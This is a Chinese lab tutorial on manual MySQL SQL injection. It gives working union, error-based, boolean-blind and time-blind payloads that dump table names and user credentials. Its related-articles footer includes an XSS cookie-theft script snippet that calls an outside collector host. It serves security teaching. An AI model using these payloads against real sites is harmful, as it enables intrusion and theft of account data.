网络安全进阶学习第十课——MySQL手工注入

文章目录

  • 一、MYSQL数据库常用函数
  • 二、MYSQL默认的4个系统数据库以及重点库和表
  • 三、判断数据库类型
  • 四、联合查询注入
    • 1、具体步骤(靶场演示):
      • 1)首先判断注入点
      • 2)判断是数字型还是字符型
      • 3)要判断注入点的列数
      • 4)获取数据库在网页中的显示位
      • 5)构造POC查询用户名和数据库名
      • 6)查库的所有表名
      • 7)查出特定表的所有字段名
      • 8)查询users这个表的所有数据
      • 9)使用另一种方式查看数据
  • 五、报错注入
    • 1、MYSQL常用使用的报错函数:
      • 1)floor( )
      • 2)extractvalue( )
      • 3)updatexml( )
      • 4)geometrycollection( )
      • 5)multipoint( )
      • 6)polygon( )
      • 7)multipolygon( )
      • 8)linestring( )
      • 9)multilinestring()
      • 10)exp( )
      • 11)gtid_subset( )
    • 2、报错注入步骤(靶场演示)
      • 1)确定数据库出错会在页面上显示
      • 2)寻找注入点(参考联合注入)
      • 3)判断是数字型还是字符型(参考联合注入)
      • 4)使用报错函数,构造轮子
      • 5)获取数据库名和用户名
      • 6)获取所有的表名
      • 7)获取特定表的字段名(参考联合注入)
      • 8)获取特定表的数据(参考联合注入)
    • 3、报错注入有字符串长度限制
  • 六、盲注
    • 1、布尔类型盲注
    • 2、布尔盲注注入步骤:
      • 1)找到注入点(参考联合注入)
      • 2)构造轮子
      • 3)获取当前用户名和数据库名长度
      • 4)获取当前用户名和数据库名
      • 5)获取当前数据库所有的表名的长度
      • 6)获取当前数据库所有的表名的名字
      • 7)获取users表的所有字段名总长度
      • 8)获取users表的所有字段名名字
      • 9)获取users表的所有数据每一行的总长度
      • 10)获取users表的目的数据
    • 3、时间盲注
    • 4、时间盲注注入步骤:
      • 1)寻找注入点(参考联合注入)
      • 2)判断是数字型还是字符型(参考联合注入)
      • 3)测试sleep函数有没有被过滤,是否会被执行
      • 4)获取当前用户名和数据库长度
      • 5)获取当前用户名和数据库名
      • 6)获取当前数据库所有的表名的总字符串长度(参考布尔盲注)
      • 7)获取当前数据库所有的表名(参考布尔盲注)
      • 8)获取users表的所有字段名的总字符串长度(参考布尔盲注)
      • 9)获取users表的所有字段名(参考布尔盲注)
      • 10)获取users表的目的数据(参考布尔盲注)


一、MYSQL数据库常用函数

在这里插入图片描述


二、MYSQL默认的4个系统数据库以及重点库和表

重点库:information_schema
在这里插入图片描述

在这里插入图片描述


三、判断数据库类型

PHP的网站,常用数据库为MYSQL、PostgreSQL
判断数据库类型:

  • MYSQL:3306
  • PostgreSQL:5432
  • MSSQL:1433

四、联合查询注入

使用场景:数据库在页面中存在显示位。

UNION操作符用于连接两个以上的SELECT语句的结果组合到一个结果集合中。前提是两个select必有相同列

1、具体步骤(靶场演示):

1)首先判断注入点

如下:
在这里插入图片描述
在这里插入图片描述
这里就可以确定注入点是在id这个位置

2)判断是数字型还是字符型

使用1/1和1/0方式来进行测试
在这里插入图片描述
在这里插入图片描述
1/1和1/0都不报错,也就是说没有反应,说明不是数字型

直接添加1个单引号和2个单引号测试
在这里插入图片描述
在这里插入图片描述
1个单引号发生报错,2个单引号不报错,说明这是字符型

3)要判断注入点的列数

使用order by;order by 是用来排序的。假如order by 3不报错,order by
4发生报错,这就说明该表只有3列。
如下:
在这里插入图片描述
在这里插入图片描述
使用的POC:
http://localhost/Less-1/?id=1' order by 4--+

对应的SQL语句:

select * from 表名(未知) where order by 4;
#让他报错

4)获取数据库在网页中的显示位

知道列数后,就需要获取数据库在网页中的显示位(就是显示在网页上的字段),可以使用union来拼接错误查询和自我构造的select语句。

如下:
在这里插入图片描述
http://localhost/Less-1/?id=1

对应的SQL语句:

select * from 表名(未知) where id=1;

此处页面上显示:

Your Login name: Dumb
Your Password: Dumb

在这里插入图片描述
http://localhost/Less-1/?id=2

对应的SQL语句:

select * from 表名(未知) where id=2;

页面上显示:

Your Login name: Angelina
Your Password: I-kill-you

构造错误的select查询字段,例如把id=1改成id=-1
在这里插入图片描述
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2,3 --+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2,3;

页面上显示:

Your Login name: 2
Your Password: 3

这样子就知道显示位是数据表的第2列和第3列了。

5)构造POC查询用户名和数据库名

在显示位上构造要查询的函数,例如当前用户名和数据库名
在这里插入图片描述
构造POC:
http://localhost/ Less-1/?id=-1' union select 1,user(),database()--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,user(),database();

页面上显示:

Your Login name: root@localhost
Your Password: security

这样我就知道当前数据库的用户名和数据库名了。

6)查库的所有表名

在这里插入图片描述
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2, table_name from information_schema.tables where table_schema='security'--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security';

上面就只会输出第一个表名字email,而不会输出全部的表名

输出所有的表名,使用group_concat()函数来拼接输出
在这里插入图片描述
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security';

这样就知道security这个数据库里面所有的表名字:emails,referers,uagents,users

7)查出特定表的所有字段名

在这里插入图片描述
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security'--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security';

现在这里就输出了security这个数据库里面所有表的所有字段名称

现在又有另一个问题了,就是我只想知道敏感数据表的字段名,例如users这个表里面的字段名,这时候就要:
在这里插入图片描述
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';

现在这样子就知道了users这个表的所有字段名,假设知道了字段是:id,username,password

8)查询users这个表的所有数据

在这里插入图片描述
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,group_concat(username), group_concat(password) from users--+

对应的SQL语句:

select * from users where id=-1 union select 1,group_concat(username), group_concat(password) from users;

这样就把所有的学生名和密码都查出了,同时也知道了显示位显示的表就是users表

美化一下:
在这里插入图片描述
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2, group_concat(username,'^',password) from users--+

对应的SQL语句:

select * from users where id=-1 union select 1,2, group_concat(username,'^',password) from users;

9)使用另一种方式查看数据

也可以不使用group_concat()函数,使用concat()+limit的方式来查看表的数据。
在这里插入图片描述
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2,group_concat(username,'^',password) from users limit 0,1--+

对应的SQL语句:

select * from users where id=-1 union select 1,2,group_concat(username,'^',password) from users limit 0,1;

这样子就可以一条一条来看。


五、报错注入

使用场景:数据库错误提示会在页面上显示。

1、MYSQL常用使用的报错函数:

1)floor( )

常用注入语法格式:

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x) a);

2)extractvalue( )

extractvalue(xml_frag, xpath_expr)
从一个使用xpath语法的xml字符串中提取一个值。

xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。

若xpath_expr参数不符合xpath格式,就会报错。而~ 符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会报错。

常用注入语法格式:

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e),1));

3)updatexml( )

常用注入语法格式:

select * form test where id=1 and (updatexml(1,concat(0x7e,(select user())),1));

4)geometrycollection( )

常用注入语法格式:

select * from test where id=1 and geometrycollection((select * from(select user())a)b));

5)multipoint( )

常用注入语法格式:

select * from test where id=1 and multipoint((select * from(select user())a)b));

6)polygon( )

常用注入语法格式:

select * from test where id=1 and polygon((select * from(select user())a)b));

7)multipolygon( )

常用注入语法格式:

select * from test where id=1 and multipolygon((select * from(select user())a)b));

8)linestring( )

常用注入语法格式:

select * from test where id=1 and linestring((select * from(select user())a)b));

9)multilinestring()

常用注入语法格式:

select * from test where id=1 and multilinestring((select * from(select user())a)b));

10)exp( )

常用注入语法格式:

select * from test where id=1 and exp(~(select * from(select user())a));

11)gtid_subset( )

常用注入语法格式:

select gtid_subset(user(),1);

2、报错注入步骤(靶场演示)

1)确定数据库出错会在页面上显示

在这里插入图片描述

2)寻找注入点(参考联合注入)

3)判断是数字型还是字符型(参考联合注入)

4)使用报错函数,构造轮子

在这里插入图片描述
这里就使用updatexml()函数,这个函数第二个参数要是有特殊字符是会报错的,这里0x7e是“~”的URL编码。

使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,0x7e,1)--+

对应的SQL语句:

select * from users where id=1 and updatexml(1,0x7e,1);

5)获取数据库名和用户名

在这里插入图片描述
使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,concat(0x7e,database()),1)--+

对应的SQL语句:

select * from users where id=1 and updatexml(1,concat(0x7e,database()),1);

6)获取所有的表名

在这里插入图片描述
使用的POC:
http://localhost/ Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)–+

对应的SQL语句:

select * from users where id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1);

7)获取特定表的字段名(参考联合注入)

8)获取特定表的数据(参考联合注入)

3、报错注入有字符串长度限制

报错注入常用的函数通常会有字符串长度限制,其最长输出32位。如果直接使用group_concat()函数会输出不全。

举例:
在这里插入图片描述
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,'^',password) from users)),1) --+

这样子只能输出32个字符串长度的内容,无法输出全;

这时候就要使用limit来进行操作,来进行一个一个的输出:
在这里插入图片描述
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select concat(username,‘^’,password) from users limit 0,1)),1) --+


六、盲注

1、布尔类型盲注

使用场景:页面没有显示位,数据库查询出错也不会在页面上显示,只会有查询正确和查询错误两种页面提示,例如下面这种情况:

正常,为true
在这里插入图片描述
在这里插入图片描述

添加1个单引号,为false
在这里插入图片描述
在这里插入图片描述

添加2个单引号,为true
在这里插入图片描述
在这里插入图片描述

2、布尔盲注注入步骤:

1)找到注入点(参考联合注入)

2)构造轮子

在这里插入图片描述
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=1,1,0)--+

在这里插入图片描述
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=2,1,0)--+

3)获取当前用户名和数据库名长度

在这里插入图片描述
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(length(user())=8,1,0)--+

接着可以使用BP爆破长度
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这样子就猜出用户名字符串长度是14。使用同样方法可以得出当前数据库名的长度是8。

4)获取当前用户名和数据库名

方法一:
在这里插入图片描述
http://localhost/Less-8/?id=1' and 1=if(mid(user(),1,1)='q',1,0)--+

同样可以使用BP爆破
在这里插入图片描述
爆破两个payload

在这里插入图片描述
第一个爆破位置,只使用数字

在这里插入图片描述
第二个爆破字符,就把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。

在这里插入图片描述
这样就爆破出来了,就得出当前用户名是:root@localhost。同样方法可以获取到当前数据库名是:security

方法二:
当截取函数是被禁用,无法使用,那么就使用like+‘_’
举例上面我已经知道当前用户名的字符串长度是14,需要获取到用户名的名字
在这里插入图片描述
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(user()+like+'______________',1,0)--+

这里的返回值是ture。因为正则里面下划线”_”是可以代表任意字符的。

在这里插入图片描述
这样子,我们就可以使用BP逐位逐位地进行爆破,从而获取到对应的用户名名字。

5)获取当前数据库所有的表名的长度

在这里插入图片描述
构造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=10--+

使用BP爆破
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里就获得长度是29位。

6)获取当前数据库所有的表名的名字

在这里插入图片描述
构造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+

使用BP进行爆破
在这里插入图片描述
在这里插入图片描述
上述第一个payload知道是29位,字典就选到29

在这里插入图片描述
第二个payload的字典就把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。

在这里插入图片描述
好了这样就知道所有的表名字是:emails,referers,uagents,users

7)获取users表的所有字段名总长度

在这里插入图片描述
构造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=10--+

同样BP爆破
在这里插入图片描述
这样子就知道了users表的字段名总字符串长度是20

8)获取users表的所有字段名名字

在这里插入图片描述
构造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a' --+

同样使用BP爆破
在这里插入图片描述
这里就获得users表的字段名称是:id,username,password

9)获取users表的所有数据每一行的总长度

在这里插入图片描述
构造POC:
http://localhost/Less-8/?id=1' and length((select concat(username,'^',password) from users limit 0,1))=10--+

开始使用BP爆破
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这样子就知道该表一共有13行,并且每行concat拼接后对应的字符串长度。

10)获取users表的目的数据

由于上面已经知道该表的字段名、数据行数、每行拼接后的总字符串长度,那么就可以逐行地进行爆破。
在这里插入图片描述
使用的POC:
http://localhost/Less-8/?id=1' and mid((select concat(username,'^',password) from users limit 0,1),1,1)='a' --+
具体BP爆破就不多说了,操作差不多。

3、时间盲注

页面返回值只有一种:true。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数(sleep),通过查看web页面返回的时间差来判断注入的语句是否正确。
例如下面这种情况:
在这里插入图片描述

4、时间盲注注入步骤:

1)寻找注入点(参考联合注入)

2)判断是数字型还是字符型(参考联合注入)

3)测试sleep函数有没有被过滤,是否会被执行

在这里插入图片描述
sleep(1)相应时间时13158毫秒

在这里插入图片描述
sleep(0)相应时间时16毫秒

这里就说明sleep()函数会被执行

4)获取当前用户名和数据库长度

在这里插入图片描述
使用的POC:
http://localhost/Less-48/?sort=1 and if(length(user())=10,sleep(1),1)--+
这里就是假如猜测的长度争取,就会执行sleep(1)。

使用BP爆破
在这里插入图片描述
在这里插入图片描述

下面需要勾选响应时间
在这里插入图片描述
在这里插入图片描述
多了一列选项,由于正确就会执行sleep(1),所以相应时间最长的那一个就是正确的结果,这里就是14。同理爆破数据库名长度是8。

5)获取当前用户名和数据库名

在这里插入图片描述
http://localhost/Less-48/?sort=1 and if(mid(user(),1,1)='a',sleep(1),1)--+

接着使用BP爆破
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第二个爆破payload字典,注意把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。

在这里插入图片描述
在这里插入图片描述
这里就能看出来爆破出来的用户名按照顺序排列是:root@localhost;同理使用同样的方法爆破获得数据库名是:security。

6)获取当前数据库所有的表名的总字符串长度(参考布尔盲注)

7)获取当前数据库所有的表名(参考布尔盲注)

8)获取users表的所有字段名的总字符串长度(参考布尔盲注)

9)获取users表的所有字段名(参考布尔盲注)

10)获取users表的目的数据(参考布尔盲注)


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/23217.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

selenium官网文档阅读总结(day 2)

1.selenium元素定位方法 1.1selenium命令 当我们使用chormdriver打开网页后,接下来就要用python操作元素,模拟用户会作出的操作,这些操作元素的方法就是命令。比如 (1) click:点击(按钮,单选框&#xff…

2024年浙师大MBA项目招生信息全面了解

2024年全国管理类硕士联考备考已经到了最火热的阶段,不少考生开始持续将注意力集中在备考的规划中!杭州达立易考教育整合浙江省内的MBA项目信息,为大家详细梳理了相关报考参考内容,方便大家更好完成择校以及针对性的备考工作。本期…

为什么list.sort()比Stream().sorted()更快?

真的更好吗&#xff1f; 先简单写个demo List<Integer> userList new ArrayList<>();Random rand new Random();for (int i 0; i < 10000 ; i) {userList.add(rand.nextInt(1000));}List<Integer> userList2 new ArrayList<>();userList2.add…

使用 RediSearch 在 Redis 中进行全文检索

原文链接&#xff1a; 使用 RediSearch 在 Redis 中进行全文检索 Redis 大家肯定都不陌生了&#xff0c;作为一种快速、高性能的键值存储数据库&#xff0c;广泛应用于缓存、队列、会话存储等方面。 然而&#xff0c;Redis 在原生状态下并不支持全文检索功能&#xff0c;这使…

备战秋招 | 笔试强训24

目录 一、选择题 二、编程题 三、选择题题解 四、编程题题解 一、选择题 1、请指出选择排序&#xff0c;冒泡排序&#xff0c;快速排序的时间复杂度分别是&#xff08;&#xff09; A. O(n^2)、O(n^2)、O(n*log2n) B. O(n*log2n)、、O(n^2)、O(n*log2n&#xff09; C. O(n…

[虚幻引擎 MongoDB Client 插件说明] DTMongoDB MongoDB数据库连接插件,UE蓝图可以操作MongoDB数据库增删改查。

本插件可以在UE里面使用蓝图操作MongoDB数据库&#xff0c; 对数据库进行查询&#xff0c;删除&#xff0c;插入&#xff0c;替换&#xff0c;更新操作。插件下载地址在文章最后。 1. 节点说明 DT MongoDB | Client Create MongoDB Client - 创建客户端对象 创建一个 MongoDB 客…

【ONE·Linux || 基础IO(二)】

总言 文件系统与动静态库相关介绍。 文章目录 总言2、文件系统2.1、背景知识2.2、磁盘管理2.2.1、磁盘文件系统图2.2.2、inode与文件名 2.3、软硬链接 3、动静态库3.1、站在编写库的人的角度&#xff1a;如何写一个库&#xff1f;3.1.1、静态库制作3.1.3、动态库制作 3.2、站在…

AI编程工具Copilot与Codeium的实测对比

csdn原创谢绝转载 简介 现在没有AI编程工具&#xff0c;效率会打一个折扣&#xff0c;如果还没有&#xff0c;赶紧装起来&#xff0e; GitHub Copilot是OpenAi与github等共同开发的的AI辅助编程工具&#xff0c;基于ChatGPT驱动&#xff0c;功能强大&#xff0c;这个没人怀疑…

服务器中了360后缀勒索病毒怎么解决,360后缀勒索病毒解密数据恢复

某医药公司是一家小型企业&#xff0c;拥有自己的服务器存储重要数据和文件。某天早上&#xff0c;IT管理员发现企业服务器中了360后缀的勒索病毒&#xff0c;所有数据文件都被加密了。这个病毒的入侵让公司业务受到严重影响&#xff0c;企业立即启动了勒索病毒解密数据恢复的措…

机器学习笔记 - YOLO-NAS 最高效的目标检测算法之一

一、YOLO-NAS概述 YOLO(You Only Look Once)是一种对象检测算法,它使用深度神经网络模型,特别是卷积神经网络,来实时检测和分类对象。该算法首次在 2016 年由 Joseph Redmon、Santosh Divvala、Ross Girshick 和 Ali Farhadi 发表的论文《You Only Look Once: Unified, Re…

Stable Diffusion - Stable Diffusion WebUI 支持 SDXL 1.0 模型的环境配置

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/132056980 SDXL 1.0 版本 是 Stable Diffusion 的最新版本&#xff0c;是基于潜在扩散模型的文本到图像生成技术&#xff0c;能够根据输入的任何文…

单片机复位电路分析

来分析一下这个电路&#xff1a; 首先这里面有电容&#xff0c;所以是一个动态电路。哈哈哈 假设左上角的电压源是5V的代号为VOLT。 可以知道电容capacitor C1左边的电压也是5V&#xff0c;电容中间隔着一个绝缘体&#xff0c;所以不导电&#xff0c; 这个时候电流无法通过…

利用XSS在线平台获取用户cookie

//XSS弹窗&#xff1a; <script>alert("xss")</script> XSS漏洞&#xff1a; //XSS弹窗&#xff1a; <script>alert("xss")</script> //XSS在线平台&#xff1a; <ScRipT sRc//7ix7kigpovxdbtd32fuspgffmtmufo3wwzgnzaltddewtb…

TS协议之PMT(节目映射表)

TS协议之PAT&#xff08;节目关联表&#xff09; 1.概要 PMT&#xff1a;节目映射表&#xff0c;与PAT成对出现&#xff0c;包含了该节目下所有的节目元素。 PMT数据结构如下&#xff1a; 字段分析&#xff1a; 字段字段描述表id标识一个TS PSI分段的内容是节目关联分段&am…

MacOS上配置docker国内镜像仓库地址

背景 docker官方镜像仓库网速较差&#xff0c;我们需要设置国内镜像服务 我的MacOS docker版本如下 设置docker国内镜像仓库地址 点击Settings点击Docker Engine修改配置文件&#xff0c;添加registry-mirrors {"builder": {"gc": {"defaultKeepS…

Java实现数据库表中的七种连接【Mysql】

Java实现数据库表中的七种连接【Mysql】 前言版权推荐Java实现数据库表中的七种连接左外连接右外连接其他连接 附录七种连接SQL测试Java测试转换方法类 Cla1类 Cla2类Cla3 最后 前言 2023-8-4 16:51:42 以下内容源自《【Mysql】》 仅供学习交流使用 版权 禁止其他平台发布时…

docker配置远程连接端口

配置docker 配置远程连接端口 vi /lib/systemd/system/docker.servicesystemctl daemon-reload && systemctl restart docker firewall-cmd --zonepublic --add-port2375/tcp --permanenthttp://node2:2375/version

pycharm——漏斗图

import pyecharts.options as opts from pyecharts.charts import Funnel""" Gallery 使用 pyecharts 1.1.0 参考地址: https://echarts.apache.org/examples/editor.html?cfunnel目前无法实现的功能:1、暂时无法对漏斗图的长宽等范围操作进行修改 ""…

锂电池充电/保护IC :TP4056 1A线性锂离子电池充电器(DW01A /FS8205A)

1. TP4056 概述 TP4056是一款性能优异的单节锂离子电池恒流/恒压线性充电器。TP4056采用ESOP8封装配合较少的外围原件使其非常适用于便携式产品&#xff0c;并且适合给USB电源以及适配器电源供电。 基于特殊的内部MOSFET架构以及防倒充电路&#xff0c;TP4056不需要外接检测电…

【BASH】回顾与知识点梳理(七)

【BASH】回顾与知识点梳理 七 七. 前六章知识点总结及练习7.1 总结7.2 练习 该系列目录 --> 【BASH】回顾与知识点梳理&#xff08;目录&#xff09; 七. 前六章知识点总结及练习 7.1 总结 由于核心在内存中是受保护的区块&#xff0c;因此我们必须要透过『 Shell 』将我…